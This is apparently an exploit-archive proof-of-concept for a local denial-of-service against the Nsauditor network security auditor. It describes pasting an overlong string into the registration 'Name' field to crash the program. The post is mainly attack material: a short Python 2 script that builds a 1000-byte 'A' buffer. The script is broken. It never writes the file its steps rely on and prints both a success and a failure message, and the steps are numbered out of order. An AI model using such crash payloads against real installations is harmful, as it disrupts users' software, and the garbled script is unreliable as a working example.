# Exploit Title: Nsauditor - 'Name' Denial of Service (PoC)  
# Discovery by: SajjadBnd  
# Date: 2019-11-30  
# Vendor Homepage:  
# Software Link:  
# Tested Version:  
# Vulnerability Type: Denial of Service (DoS) Local  
# Tested on OS: Windows 10 - Pro  
# About App  
# Nsauditor Network Security Auditor is a powerful network security tool designed to scan networks and hosts for vulnerabilities,   
# and to provide security alerts.Nsauditor network auditor checks enterprise network for all potential methods that   
# a hacker might use to attack it and create a report of potential problems that were found , Nsauditor network auditing   
# software significantly reduces the total cost of network management in enterprise environments by enabling   
# IT personnel and systems administrators gather a wide range of information from all the computers in the network without   
# installing server-side applications on these computers and create a report of potential problems that were found.  
# PoC  
# 1.Run the python script, it will create a new file "dos.txt"  
# 3.Run Nsauditor and click on "Register -> Enter Registration Code"  
# 2.Paste the content of dos.txt into the Field: 'Name'  
# 'ok'  
# 5.Crashed ;)  
#!/usr/bin/env python  
buffer = "\x41" * 1000  
print "[+] Creating %s bytes DOS payload.." %len(buffer)  
print "[+] File created!"  
print "File cannot be created"